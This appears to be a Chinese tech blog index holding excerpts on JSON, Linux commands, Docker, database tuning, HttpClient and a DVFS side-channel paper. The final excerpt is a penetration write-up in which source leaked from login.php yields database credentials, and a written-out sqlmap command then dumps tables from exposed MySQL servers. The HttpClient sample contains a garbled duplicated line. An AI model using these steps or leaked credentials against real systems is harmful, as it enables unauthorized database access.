    2023-11-12 187
  • Json格式弊端及优化方案

    Json介绍 Json(JavaScript Object Notation)是一种轻量级的数据交换格式,常用于前后端数据传输和存储。 它使用简洁的文本格式来表示结构化的数据,易于阅读和编写,并且可以被多种编程语言解析和生成。 Json的基本语法包括键值对(key-value pairs)和数据类型。 键值对由一个键(key)和一个值(value)组成,中间用冒号(:)分隔。 多个键值对之间用逗号(,)分隔。值可以是字符串、数字、布尔值、数组、对象或null。 以下是一个Json对象的示例: { "name": "Raysen", "age": 27, "isStudent": true, "hobbies": ["唱", "RAP", "篮球"], "address": { "street": "23号大街", "city": "杭州", "country": "China" }, "favoriteFruit": null } 键值对的键是字符串,值可以是字符串(如”name”和”Raysen”)、数字(如”age”和30)、布尔值(如”isStudent”和true)、数组(如”hobbies”)或对象(如”address”)。键值对之间用逗号分隔,整个Json对象用花括号括起来。 Json的优点包括易于理解和编写、数据结构清晰、可读性强、支持多种编程语言等。它广泛应用于Web开发、API接口设计、配置文件等场景。 Json格式弊端 缺乏类型信息:Json格式的数据没有明确的类型信息,只能通过字段名来推断数据类型。这导致在处理复杂数据结构时,需要额外的逻辑来解析和处理数据。 不支持注释:Json格式不支持注释,这使得在复杂的数据结构中添加注释变得困难。注释对于代码的可读性和维护性非常重要,但在Json中无法直接添加注释。 不支持多行字符串:Json格式中的字符串必须在一行内表示,不支持多行字符串。这在处理较长的文本或包含换行符的字符串时,会导致可读性下降。 不支持原生日期类型:Json格式没有原生的日期类型,日期通常以字符串的形式表示。这使得在处理日期相关的操作时,需要额外的转换和处理。 不支持引用和循环引用:Json格式不支持引用其他对象或循环引用。这在处理复杂的数据关系时,可能会导致数据冗余和难以维护。 Json格式在一般的数据交换和存储场景中表现良好,但在处理复杂数据结构和需要更多元信息的情况下,存在一些不足之处。 Json弊端优化方案 使用压缩算法:可以使用压缩算法对Json格式进行压缩,减小数据的存储空间占用。 使用二进制格式:可以将Json格式转换为二进制格式,减少数据的存储空间和传输带宽。 使用Schema验证:可以使用Schema验证Json数据的结构和类型,提高数据的可靠性和可读性。 使用更紧凑的数据格式:可以考虑使用其他更紧凑的数据格式,如MessagePack、Protocol Buffers等,减小数据的存储空间和传输带宽。 ...

    2023-11-12 203
  • 将电源侧信道攻击转化为x86远程时序攻击

    电源侧信道攻击利用CPU功耗的数据相关变化来泄露机密信息。本文展示了在现代英特尔(和AMD)x86 CPU上,可以将电源侧信道攻击转化为时序攻击,而无需访问任何功耗测量接口,这源自于动态电压和频率调整(DVFS, Dynamic Voltage & Frequency Scaling)。在某些情况下,DVFS引起的CPU频率变化取决于毫秒级的当前功耗。这些变化可以被远程攻击者观察到,因为频率差异会转化为绝对时间差异。频率侧信道从理论上来说比当今密码工程实践中考虑的软件侧信道更强,但由于其粗粒度导致很难被利用。然而,现在这一新信道对密码软件的安全构成了真正威胁。本研究首先对现代x86 CPU上的数据、功耗和频率之间的依赖关系进行了逆向工程,发现了一些细微差别,例如一个字中设置位的位置可以通过频率变化来区分。其次提出了一种针对(恒定时间实现)SIKE的新型选择密文攻击,通过远程时序将单个密钥位的猜测放大为成千上万次高功耗或低功耗操作,从而允许通过远程时序进行完整密钥提取。0x01 简介功耗分析攻击几十年来一直被认为是侧信道信息泄露的一个主要源头。在历史上,这些攻击被用来从嵌入式设备(如智能卡)中使用物理探针泄露密码密钥。最近,功耗分析攻击也被证明可以通过软件功耗测量接口来利用。这些接口在许多现代通用处理器上都可用,已被滥用于网站指纹识别、恢复RSA密钥、破解KASLR,甚至恢复AES-NI密钥。幸运的是,基于软件的功耗分析攻击可以通过阻止(或限制)对功耗测量接口的访问来减轻并且容易检测。直到今天,这样的缓解策略将有效地减少攻击面至仅限于物理功耗分析,这在现代通用x86处理器的环境中是一个明显较小的威胁。DVFS是一种常用的技术,它包括动态调整CPU频率以降低功耗(在低CPU负载时)以及确保系统在功耗和热量极限下保持稳定(高CPU负载)。在某些情况下,DVFS引起的CPU频率调整取决于毫秒级的当前功耗。因此,由于功耗与数据相关,CPU频率调整也是与数据相关的。此外,数据相关的频率调整可以被远程攻击者观察,而无需任何特殊权限。原因是CPU频率差异直接转化为执行时间差异(因为1赫兹=1秒内的1个周期)。这一发现的安全影响是重大的。它从根本上破坏了恒定时间编程,自1996年以来一直是抵抗时序攻击的基础防御措施。恒定时间编程的前提是通过编写一个只使用“safe”指令的程序,其延迟与数据值无关,程序的执行时间将是与数据无关。然而若是通过频率信道,即使仅使用安全指令,时序也会成为数据的函数。 尽管其理论上具有很大的威力,但如何构建实际的频率侧信道攻击并容易。这是因为DVFS更新取决于数百万CPU周期内的总功耗,只反映了粗粒度的程序行为。本研究展示了频率侧信道对加密软件安全构成了真正的威胁,通过:(i)在现代x86英特尔CPU上逆向工程的精确泄露模型,(ii)展示一些加密原语能够将单个密钥位的猜测放大成数千次高功耗或低功耗操作,足以引发可测量的时序差异。为了构建泄露模型,对现代x86英特尔CPU上正在计算的数据与功耗/频率之间的依赖关系进行了逆向工程。研究结果显示,功耗和CPU频率取决于数据的汉明权重(HW, Hamming weight)以及跨计算的数据的汉明距离(HD, Hamming distance),这两种影响在现代英特尔CPU上是不同且可累加的。此外,HW效应是非均匀的。也就是说,处理具有相同HW的数据会导致功耗/频率因数据值内个别1的位置而不同。因此,根据秘密进行不同位模式数据的计算可以导致功耗和频率取决于该秘密。然后,本文描述了一种新的攻击,包括新的密码分析技术,针对恒定时间实现的SIKE(Supersingular Isogeny Key Encapsulation)。SIKE已经有十年的历史,被广泛研究的密钥封装机制。与NIST的后量子密码竞赛中的其他入围者不同,SIKE具有较短的密文和较短的公钥。当攻击者提供一个经过特别制作的输入时,SIKE的解密算法会产生依赖密钥的单个位的异常值。这些值会导致算法卡住,并在剩下的解密过程中操作中间值,这些值在剩余的解密中也都是0。当这种情况发生时,处理器的功耗较低,运行频率较高,因此解密所需的绝对时间较短。这种时序信号非常稳定,以至于可以在网络中进行密钥提取,最后,还展示了频率侧信道也可以用来进行无需计时器的时序攻击,例如KASLR破解和隐蔽信道。0x02 研究背景Intel P-States:在英特尔处理器中,动态电压和频率调整(DVFS)以P-states的粒度工作。P-states对应于不同的操作点(电压-频率对),以100 MHz频率递增。不同CPU型号的P-states数量各不相同。现代英特尔处理器提供两种控制P-states的机制,即SpeedStep和Speed Shift / Hardware Controlled Performance States (HWP)。使用SpeedStep,P-states由操作系统(OS)使用硬件协调反馈寄存器进行管理。使用HWP时,P-states完全由处理器进行管理,提高了整体响应性。HWP是在Skylake微架构中引入的。启用HWP时,操作系统只能向处理器的内部P-state选择逻辑提供提示,包括限制可用P-states的范围。否则,可用的P-states范围仅取决于活动内核的数量以及是否启用了“Turbo Boost”。本文的P-state命名约定遵循Linux中使用的约定。最低的P-state对应于支持的最低CPU频率。最高的P-state对应于处理器的“最大睿频”频率。然而,当禁用Turbo Boost时,最高可用的P-state是基本频率,将P-state和频率视为可以互换使用的术语。P-state管理也与功耗管理相关。每个英特尔处理器都有一个热设计功耗(TDP),表示在持续工作负载下的稳定状态下的预期功耗。在最大睿频模式下,处理器可以超过其名义TDP。然而,如果CPU在最大睿频模式下达到一定的功耗和热量极限,硬件将自动减小频率以保持TDP在工作负载的持续时间内。数据相关功耗:众所周知,处理器的功耗取决于正在处理的数据。数据和功耗之间的精确依赖关系取决于处理器的实现,但可以使用泄露模型进行近似。两种常用的泄露模型是汉明距离(HD)和汉明权重(HW)模型。在HD模型中,功耗取决于计算过程中数据中发生的1 → 0和0 → 1位转换的数量。在HW模型中,功耗仅取决于正在处理的数据中位为1的位数。功耗侧信道攻击:功耗侧信道攻击针对加密系统首次在1998年公开讨论,引入了分析技术,利用功耗与数据依赖性来揭示秘密密钥。随后的工作展示了针对多个加密算法的功耗分析攻击,包括AES、DES、RSA和ElGamal。然而,所有这些攻击都针对智能卡,需要物理接触设备。最近,功耗侧信道攻击也被应用于更复杂的设备,如智能手机和PC。其中一些攻击仅依赖于软件功耗测量接口,这意味着它们不需要接近设备。然而,尽管其中一些工作使用了HW和HD泄露模型,但其中没有一个对现代英特尔x86 CPU上功耗和数据之间的依赖关系进行了系统逆向工程。此外,所有这些攻击都可以通过限制对这类功耗测量接口的访问来阻止。0x03 CPU频率泄露信道实验设置:在多台不同的计算机上运行实验。每台计算机的CPU特性都在下表中。所有计算机都运行Ubuntu,版本为18.04或20.04,内核为4.15或5.4,并安装了最新的微码补丁。除非另有说明,使用默认的系统配置,不限制P-states。为了监视CPU频率,使用了MSR_IA32_MPERF和MSR_IA32_APERF寄存器,就像Linux内核中所做的那样。为了监视功耗,使用RAPL接口的MSR。A. 指令区分作为分析的第一步,需要着手了解运行不同工作负载如何影响CPU的P-state选择逻辑。从stress-ng基准测试套件中选择了两个工作负载。第一个工作负载包括32位整数和浮点运算(int32float方法),而第二个工作负载仅包括32位整数运算(int32方法)。在所有内核上运行这两个基准测试,从空闲状态开始。在基准测试的执行过程中,每5毫秒采样一次CPU频率和(包域)功耗。上图a显示了在i7-9700 CPU上进行int32float测试的结果。频率开始时为4.5 GHz,在CPU上,当所有内核都处于活动状态时,这是最高的P-state。在大约8秒的时间内,允许功耗超过TDP。然后,CPU降至较低的P-state,将功耗降至TDP(在CPU上为65W)。从那时开始,CPU保持在稳态,并在工作负载的持续时间内保持功率在TDP水平左右。示例中在稳态下,频率在两个P-states之间波动,分别对应3.9 GHz和4.0 GHz的频率。上图b显示了int32压力测试的结果。这里,频率也从4.5 GHz开始,然后降至较低的P-state。但与图a相比,降低发生在10秒后,且降低后使用的P-states更高,分别对应4.0 GHz和4.1 GHz。这是因为int32测试的功耗较低。因此,处理器不仅可以更长时间地维持最高可用的P-state,而且可以在稳态下使用更高的P-states,而不会超过TDP。以上结果的关键要点是:(i)处理器可以在最大可用P-state上花费的时间,(ii)稳态下P-states的分布都取决于CPU功耗。由于CPU功耗取决于工作负载,根据传递属性,可以得出P-states也取决于工作负载。这意味着P-states的动态调整会泄露有关处理器上当前运行的工作负载的信息。B. 数据区分已经看到P-state信息泄露了有关正在执行的指令(即工作负载)的信息。现在探讨频率泄露信道是否可以泄露有关指令正在处理的数据的信息。问题是由于已知x86处理器上的功耗与数据相关,数据相关的功耗差异是否会在P-states的分布中显示出来?为了回答这个问题,在执行相同的指令时,只改变输入寄存器的内容,同时监视CPU频率。例如使用shlx指令不断将源寄存器的位向左移动,并将结果写入循环中的不同目标寄存器,只变化源寄存器的内容。在所有内核上运行这个实验,并比较稳态下P-states的分布。下图a显示了将源寄存器的内容设置为16、32或48个1时的结果。在所有情况下,P-state在4.3 GHz和4.4 GHz之间波动。然而,汉明权重越大,频率停留在较低的P-state上的时间越长。从空闲状态开始,频率降至稳态的时间也会随着汉明权重的增加而减少(参见下图b)。汉明权重越大,频率降至稳态的速度越快。这是因为,处理具有较大汉明权重的数据消耗的功率比处理具有较低汉明权重的数据要多。也使用其他指令获得类似的结果。例如,当运行or、xor、and、imul、add、sub以及处理从内存加载的数据时,观察到了数据相关的影响。唯一需要注意的是,对于某些指令,仅在所有内核上运行目标指令的功耗不足以导致P-state降至稳态。这些情况下在后台运行了额外的固定工作负载,以增加总功耗。以上结果的关键是,P-states的动态调整会泄 ...

    2023-11-12 127
  • 如何将Silverblue重定位到Fedora Linux 39

    Fedora Silverblue是 一款基于 Fedora Linux 构建的面向桌面的操作系统。 这款操作系统非常适合日常使用、开发和容器化的工作流程。 它有许多优势,例如可以在发生问题时轻松回滚操作。 如果你想在 Fedora Silverblue 系统上更新或将系统 重定位rebase 到 Fedora Linux 39,本文会提供帮助。 文章不仅会指导你执行操作,还会教你如何在遇到意外情况时撤销操作。 更新你目前的系统 在实际重定位至 Fedora Linux 39 前,你需要先安装所有待处理的更新。 你可以在终端中使用下面的命令: $ rpm-ostree update 或者你也可以通过 GNOME “软件”应用安装更新,然后重新启动系统。 使用 GNOME “软件” 重定位 在 GNOME “软件”应用的更新页面上,你可以看到 Fedora Linux 的新版本已经可以使用。 首先,你需要点击 “下载Download” 按钮来下载新的操作系统镜像。这个过程可能需要一些时间。完成后,你会发现更新已经准备好进行安装。 接下来,点击 “重新启动 & 升级Restart & Upgrade” 按钮。这个过程只需要几分钟,一旦更新完成,计算机将会重新启动。重启后,你会看到崭新的 Fedora Linux 39 的系统环境,看起来很简单,是吧? 使用终端进行重定位 如果你更喜欢在终端操作,那么这部分指南就是为你准备的。 首先你需要确认 39 版本是否已经可以使用: $ ostree remote refs fedora 在命令输出中你应该看到如下内容: fedora:fedora/39/x86_64/silverblue 如果你想保留当前的部署(这意味着这个部署将会持续在 GRUB 中显示为一个选项,直到你手动移除它),你可以通过运行下面的命令实现: # 0 是在 rpm-ostree 状态中的条目位置 $ sudo ostree admin pin 0 如果你想移除已经固定的部署,你可以使用下面的命令: # 2 是在 rpm-ostree 状态中的条目位置 $ sudo ostree admin pin --unpin 2 然后,将你的系统重定位至 Fedora Linux 39 镜像。 $ rpm-ostree rebase fedora:fedora/39/x86_64/silverblue 最后,重启你的电脑,启动进入 Fedora Linux 39 版本。 如何进行回滚 如果遇到任何问题(例如,如果你无法启动 Fedora Linux 39),回滚是非常容易的。 在系统启动时,在 GRUB 菜单中选择 Fedora Linux 39 之前的版本,然后你的系统就会启动这个更早的版本而非 Fedora Linux 39。 如果你在启动过程中看不到 GRUB 菜单,那么在启动时尝试按下 ESC键。 如果你想让更早版本的选择永久生效,你可以使用下面的命令: $ rpm-ostree rollback 现在,你已经了解如何将 Fedora Silverblue 系统重定位到 Fedora Linux 39,以及如何进行系统回滚了。那么何不今天就试试看呢? 常见问题解答 在每篇关于重定位 Silverblue 到新版本的文章的评论中,总会有相似的问题,因此我会在这个部分尝试解答这些问题。 问题:在 Fedora 的重定位过程中我能跳过某些版本吗?例如直接从 Fedora 37 Silverblue 更新到 Fedora 39 Silverblue。 答案:虽然有时可能可以在重定位过程中跳过某些版本,但并不推荐这样操作。你应当始终更新到紧邻的新版本(例如从 38 更新到 39),以避免不必要的错误。 问题:我安装了 rpm-fusion,在重定位过程中出现错误,我应当怎样进行重定位? 答案:如果你在 Silverblue 安装上加入了 rpm-fusion,你在重定位前应当执行以下操作: rpm-ostree update \ --uninstall rpmfusion-free-release \ --uninstall rpmfusion-nonfree-release \ --install rpmfusion-free-release \ --install rpmfusion-nonfree-release 执行完上述操作后,你可以按照本篇博文的步骤完成重定位过程。 问题:这个指南是否适用于其他的 ostree 版本(例如 Kinoite, Sericea)? 答案:是的,你可以照着本指南的 使用终端进行重定位部分的操作来完成所有的 Fedora ostree 版本的重定位过程。只需要使用对应的分支即可。例如对于 Kinoite,你可以使用 fedora:fedora/39/x86_64/kinoite 而非 fedora:fedora/39/x86_64/silverblue </div> ...

    2023-11-12 164
  • 如何在Arch Linux上安装Docker

    在 Arch Linux 上安装 Docker 很简单。它可以在 Extra 仓库中找到,你可以简单地 执行 pacman 魔法: sudo pacman -S docker 但要在 Arch Linux 上正确运行 Docker,还需要执行更多步骤。 让 Arch Docker 做好准备 这一切都归结为以下步骤: 从 Arch 仓库安装 Docker 启动 Docker 守护进程并在每次启动时自动运行 将用户添加到 docker组以运行docker命令而无需sudo 让我们看看详细步骤。 步骤 1:安装 Docker 包 打开终端并使用以下命令: sudo pacman -S docker 输入密码并在询问时按 Y。 这可能需要一些时间,具体取决于你使用的镜像。 ? 如果你看到找不到包或 404 错误,那么你的同步数据库可能是旧的。使用以下命令更新系统(它将下载大量软件包并需要时间): sudo pacman -Syu 步骤 2:启动 docker 守护进程 Docker 已安装但未运行。你应该在第一次运行 Docker 命令之前启动 Docker 守护进程: sudo systemctl start docker.service 我还建议启用 Docker 服务,以便 Docker 守护进程在系统启动时自动启动。 sudo systemctl enable docker.service 这样,你就可以开始运行 docker命令了。你不再需要手动启动 Docker 服务。 步骤 3:将用户添加到 docker 组 Docker 已安装并且 Docker 服务正在运行。你几乎已准备好运行 docker命令。 但是,默认情况下,你需要将 sudo与docker命令一起使用。这很烦人。 为了避免在每个 docker命令中使用sudo,你可以将自己(或任何其他用户)添加到docker组,如下所示: sudo usermod -aG docker $USER 你必须注销(或关闭终端)并重新登录才能使上述更改生效。如果你不想这样做,请使用以下命令: newgrp docker 现在已经准备好了。我们来测试一下。 步骤 4:验证 docker 安装 Docker 本身提供了一个很小的 Docker 镜像来测试 Docker 安装。运行它并查看是否一切正常: docker run hello-world 你应该看到类似这样的输出,表明 Docker 成功运行: 恭喜! 你已经在 Arch Linux 上成功安装了 Docker。 可选:安装 Docker Compose Docker Compose 已经成为 Docker 不可或缺的一部分。它允许你管理多个容器应用。 较早的经典 Compose 由 docker-composePython 软件包提供。Docker 还将其移植到 Go 中,并通过docker compose提供,但该软件包附带Docker Desktop。 在这个阶段,我建议使用经典的 docker-compose插件并使用以下命令安装它: sudo pacman -S docker-compose 故障排除技巧 以下是你可能遇到的一些常见问题以及可能的解决方案: 制表符补全不适用于 docker 子命令 如果你想对 docker命令选项使用制表符补全(例如将im补全到images等),请安装bash-completion包: sudo pacman -S bash-completion 关闭终端并启动一个新终端。你现在应该能够通过 docker命令使用制表符补全功能。 无法连接到 Docker 守护进程错误 如果你看到以下错误: docker: Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?. See 'docker run --help'. 那是因为 Docker 守护进程没有运行。参考步骤 2,启动 Docker 服务,确保其正在运行并启用它,以便 Docker 守护进程在每次启动时自动运行。 sudo systemctl start docker.service sudo systemctl enable docker.service 尝试连接到 Docker 守护程序套接字时权限被拒绝 如果你看到此错误: ddocker: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/create": dial unix /var/run/docker.sock: connect: permission denied. See 'docker run --help'. 这是因为你需要使用 sudo运行docker命令,或者将用户添加到docker组以在不使用sudo的情况下运行docker命令。 我希望这篇简短的文章可以帮助你在 Arch Linux 上运行 Docker。 ...

    2023-11-10 171
  • 数据库查询慢怎么优化

    定位慢查询 数据库监控工具:使用数据库监控工具,如MySQL的Slow Query Log或PostgreSQL的pg_stat_statements,来识别慢查询。这些工具可以记录执行时间较长的查询。 查询执行计划:对于关系型数据库,查看查询执行计划是一种重要的方式来定位性能问题。通过EXPLAIN或EXPLAIN ANALYZE命令,可以查看数据库是如何执行查询的,以及是否有性能问题。 应用层监控:使用应用层性能监控工具来识别慢查询的来源。这些工具可以告诉你哪些查询正在导致性能下降。 监控索引:确保表上使用了适当的索引。缺少索引或者使用不当的索引可能导致查询变慢。 检查服务器负载:如果服务器负载过高,可能导致查询变慢。检查服务器的CPU、内存和磁盘使用情况。 优化慢查询 索引优化:确保数据库表上的列有适当的索引,这有助于加速检索。但不要过度索引,因为索引也会增加写操作的开销。 重写查询:有时,可以通过重写查询语句来优化查询性能。使用合适的WHERE子句、JOIN条件和ORDER BY子句等。 缓存:使用缓存来减少数据库查询的频率。可以使用缓存中间件(如Redis或Memcached)或应用程序级别的缓存。 升级硬件:如果服务器性能不足,可以考虑升级硬件,包括CPU、内存和存储。 分区:对于大型表,可以考虑分区,以减小查询的范围。 定期维护:定期执行数据库维护操作,如索引重建、表优化和统计信息更新,以确保数据库性能不下降。 限制结果集大小:通过限制查询返回的结果集大小,可以减轻数据库负担。 异步处理:将某些查询从同步操作改为异步操作,以提高应用程序的响应速度。 数据库分片:对于大型数据库,可以考虑数据库分片,将数据分散到多个服务器上以提高查询性能。 使用合适的数据库引擎:不同的数据库引擎具有不同的性能特点。根据应用程序需求选择合适的数据库引擎。 ...

    2023-11-10 148
  • Linux常用命令之systemctl用法详解

    Linux systemctl命令是系统和服务管理器的主要命令之一,它可以启动、停止、重启、重新加载和查询系统服务状态等操作。 语法格式: systemctl 参数 [动作] [服务名] 常用参数: -a 显示所有单位 -f 覆盖任何冲突的符号链接 -H 设置要连接的主机名 -M 设置要连接的容器名 -n 设置要显示的日志行数 -o 设置要显示的日志格式 -q 静默执行模式 -r 显示本地容器的单位 -s 设置要发送的进程信号 -t 设置单元类型 –help 显示帮助信息 –version 显示版本信息 常用动作: start 启动服务 stop 停止服务 restart 重启服务 enable 设置服务开机自启 disable 取消服务开机自启 status 查看服务状态 list 显示所有已启动服务 举例: 1、查看特定服务的状态 systemctl status httpd 2、启动特定服务 systemctl start httpd 3、停止特定服务 systemctl stop httpd 4、重新加载服务 必须在服务启动的情况下,重新加载服务,不然报错,它并不支持所有的服务,比如 network systemctl reload httpd 5、将特定服务设置成开机启动 systemctl enable httpd 6、取消开机启动 systemctl disable httpd 7、查看服务是否设置成开机启动 看输出结果,就知道是否是开机启动,enabled 代表开机启动,disabled 代表开机不启动 systemctl is-enabled httpd 8、注销指定服务 注销服务后,服务就没法启用了,这对于禁用高危服务相当有用 systemctl mask httpd 9、取消注销指定服务 重新启用注销的服务 systemctl unmask httpd 10、列出所有可用单元 systemctl list-unit-files  11、列出所有已启动的服务列表信息 systemctl list-units --type=service ...

    2023-11-09 133
  • Linux常用命令之ls用法详解

    Linux ls(英文全拼: list directory contents)命令用于显示指定工作目录下之内容(列出目前工作目录所含的文件及子目录)。 语法格式: ls [参数] [文件名] 常用参数: -a 显示所有文件及目录 -A 不显示当前目录和父目录 -d 显示目录自身的属性信息 -i 显示文件的inode属性信息 -l 显示文件的详细属性信息 -m 以逗号为间隔符,水平显示文件信息 -r 依据首字母将文件以相反次序显示 -R 递归显示所有子文件 -S 依据内容大小将文件排序显示 -t 依据最后修改时间将文件排序显示 -X 依据扩展名将文件排序显示 –color 显示信息带有着色效果 例子: 列出/home目录下的所有文件和目录 ls/home 显示当前目录所有文件和目录,包含隐藏文件 ls-a 除了文件名以外,还列出文件类型,权限,拥有者,文件大小等 ls-l 按时间先后顺序列出,新建立的最先显示 ls -t 按文件首英文字母,相反次序列出 ls -r 列出该目录下所有文件和目录,目录的名称后加 “/” ls -F 参数可以多个,按时间先后顺序把文件或目录的详细信息列出 ls -rlt ...

    2023-11-09 149
  • Linux常用命令之echo详解

    Linux echo命令可以用于向标准输出或文件写入一行或多行文本。 通常用来输出一些提示信息或测试脚本的输出,也可以用于输出变量的值或执行命令的结果。 语法格式: 语法格式:echo [参数] 字符串或$变量名 常用参数: -e “\a” 发出警告音 -e “\b” 删除前面的一个字符 -e “\c” 结尾不加换行符 -e “\f” 换行后光标仍停留在原来的位置 -e “\n” 换行后光标移至行首 -e “\r” 光标移至行首但不换行 -E 禁止反斜杠转义 -n 不输出结尾的换行符 –version 显示版本信息 –help 显示帮助信息 例子 输出“hello world”,下面的双引号可省略 echo "hello world" 定义变量 string string="Linux" 输出 string 的值 echo $string 取 string 的长度 echo ${#string} 截取字符串,字符串索引从 0 开始,输出 nux echo ${string:2} 从第三个字符,截取 1 个字符,输出 n echo ${string:2:1} 替换字符,把第一个 i 替换成 a,输出 Lanux echo ${string/i/a} 替换所有的 i 为 a,输出 Lanuxa string="Linuxi" echo ${string//i/a} ...

    2023-11-09 158
  • Spring Boot与HttpClient:轻松实现GET和POST请求

    1. HttpClient介绍 HttpClient 是Apache Jakarta Common 下的子项目,可以用来提供高效的、最新的、功能丰富的支持 HTTP 协议的客户端编程工具包,并且它支持 HTTP 协议最新的版本和建议。   1.1. HttpClient作用 发送HTTP请求 接收响应数据 思考:为什么要在Java程序中发送Http请求?有哪些应用场景呢? 1.2. HttpClient应用场景 当我们在使用扫描支付、查看地图、获取验证码、查看天气等功能时 其实,应用程序本身并未实现这些功能,都是在应用程序里访问提供这些功能的服务,访问这些服务需要发送HTTP请求,并且接收响应数据,可通过HttpClient来实现。 1.3 HttpClient的maven坐标 <dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.5.13</version> </dependency> 1.4. HttpClient的核心API HttpClient:Http客户端对象类型,使用该类型对象可发起Http请求。 HttpClients:可认为是构建器,可创建HttpClient对象。 CloseableHttpClient:实现类,实现了HttpClient接口。 HttpGet:Get请求类型。 HttpPost:Post请求类型。 1.5. HttpClient发送请求步骤 创建HttpClient对象 创建Http请求对象 调用HttpClient的execute方法发送请求 2. SpringBoot快速入门HttpClient 对HttpClient编程工具包有了一定了解后,那么,我们使用HttpClient在Java程序当中来构造Http的请求,并且把请求发送出去,接下来,就通过入门案例分别发送GET请求和POST请求,具体来学习一下它的使用方法。 项目结构 创建HttpClient-demo,并导入对应依赖到pom.xml 完整项目结果   pom.xml 依赖 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <artifactId>spring-boot-starter-parent</artifactId> <groupId>org.springframework.boot</groupId> <version>2.7.15</version> </parent> <groupId>com.zbbmeta</groupId> <artifactId>HttpClient-demo</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>11</maven.compiler.source> <maven.compiler.target>11</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> </dependency> <dependency> <groupId>com.github.xiaoymin</groupId> <artifactId>knife4j-spring-boot-starter</artifactId> <version>3.0.2</version> </dependency> <dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.5.13</version> </dependency> </dependencies> </project> 2.1. GET方式请求 实现步骤: 创建HttpClient对象 创建请求对象 发送请求,接受响应结果 解析结果 关闭资源 在com.zbbmeta.controller包下创建HttpClientController接口类,并创建testGET()方法 package com.zbbmeta.controller; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import lombok.extern.slf4j.Slf4j; import org.apache.http.Header; import org.apache.http.HttpEntity; import org.apache.http.client.config.RequestConfig; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.apache.http.message.BasicHeader; import org.apache.http.util.EntityUtils; import org.junit.jupiter.api.Test; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import java.util.Arrays; /** * @author springboot葵花宝典 * @description: TODO */ @RestController @RequestMapping(value = "/httpclient") @Slf4j @Api(tags = "HttpClient测试接口") public class HttpClientController { @GetMapping("/httpget") @ApiOperation(value = "http员工状态") public String testGET() throws Exception{ //创建httpclient对象 CloseableHttpClient httpClient = HttpClients.createDefault(); //创建请求对象 HttpGet httpGet = new HttpGet("http://localhost:8899/admin/employee/status"); //发送请求,接受响应结果 CloseableHttpResponse response = httpClient.execute(httpGet); //获取服务端返回的状态码 int statusCode = response.getStatusLine().getStatusCode(); System.out.println("服务端返回的状态码为:" + statusCode); HttpEntity entity = response.getEntity(); String body = EntityUtils.toString(entity); System.out.println("服务端返回的数据为:" + body); //关闭资源 response.close(); httpClient.close(); return "服务端返回的数据为:" + body; }n "服务端返回的数据为:" + body; } } 启动项目,PostMan访问http://localhost:8899/httpclient/httpget请求 测试结果   2.2. POST方式请求 在HttpClientTest中添加POST方式请求方法,相比GET请求来说,POST请求若携带参数需要封装请求体对象,并将该对象设置在请求对象中。 实现步骤: 创建HttpClient对象 创建请求对象 发送请求,接收响应结果 解析响应结果 关闭资源 在com.zbbmeta.controller包下创建HttpClientController接口类,并创建testPost()方法 @PostMapping("/httppost") @ApiOperation(value = "http员工登录") public String testPost() throws Exception{ //创建httpclient对象 CloseableHttpClient httpClient = HttpClients.createDefault(); //创建请求对象 HttpPost httpPost = new HttpPost("http://localhost:8899/admin/employee/login"); JSONObject jsonObject = new JSONObject(); jsonObject.put("username","admin"); jsonObject.put("password","123456"); StringEntity entity = new StringEntity(jsonObject.toString()); //指定请求编码方式 entity.setContentEncoding("utf-8"); //数据格式 entity.setContentType("application/json"); httpPost.setEntity(entity); //发送请求 CloseableHttpResponse response = httpClient.execute(httpPost); //解析返回结果 int statusCode = response.getStatusLine().getStatusCode(); System.out.println("响应码为:" + statusCode); HttpEntity entity1 = response.getEntity(); String body = EntityUtils.toString(entity1); System.out.println("响应数据为:" + body); //关闭资源 response.close(); httpClient.close(); return body; } 测试结果 ...

    2023-11-09 214
  • 记一次某年代久远的某云漏洞到获得cnvd证书

    一、前言 去年在做云安全运维时,忙的都没有空挖漏洞。为了弥补去年一年cnvd证书的空缺,某一天晚上我打开了FOFA搜索关键字"系统",找到了某个系统网站进行测试。 二、思路历程 找到该系统时,首先用插件看了下网站接口是否存在未授权访问。 看了圈都是下载相关的页面,接着就用dirsearch进行目录扫描。 其中在检查扫描到的目录/login.php时,访问该网页时跳出 然后一堆代码一闪而过后,跳转到如下页面 看到上面的情形我猜测网站环境可能是不支持php的,php源码会直接打印出来 接着抓包访问/login.php,果不其然登录页面源码出现了: 在登录的源码中,最有利用价值的莫过于是数据库的账号密码、数据库名称,但是3306端口不一定就是开在公网上的 于是我把FOFA上所有的该系统都扒下来,放进goby中只检测开放了3306端口的系统 在企查查发现该系统的开发商注册资产超过5000万,漏洞目标又有10+,满足申请cnvd证书的条件 已知数据库为KDM3ADB,账号为root,密码为kdc 直接使用sqlmap对数据库进行注入: python3 sqlmap.py -d "mysql://root:kdc@X.X.X.X:3306/KDM3ADB" --tables 这样一张证书就到手了。 验证是dba的权限,以为能一把梭得到源码再审计一波 不过这个注入的地方虽然是dba的权限,但是却没有文件上传的权限,所以无法getshell   拿到数据库了,可以再测试一波弱口令 翻了下密码是这样的,很抽象应该是自己写了加密 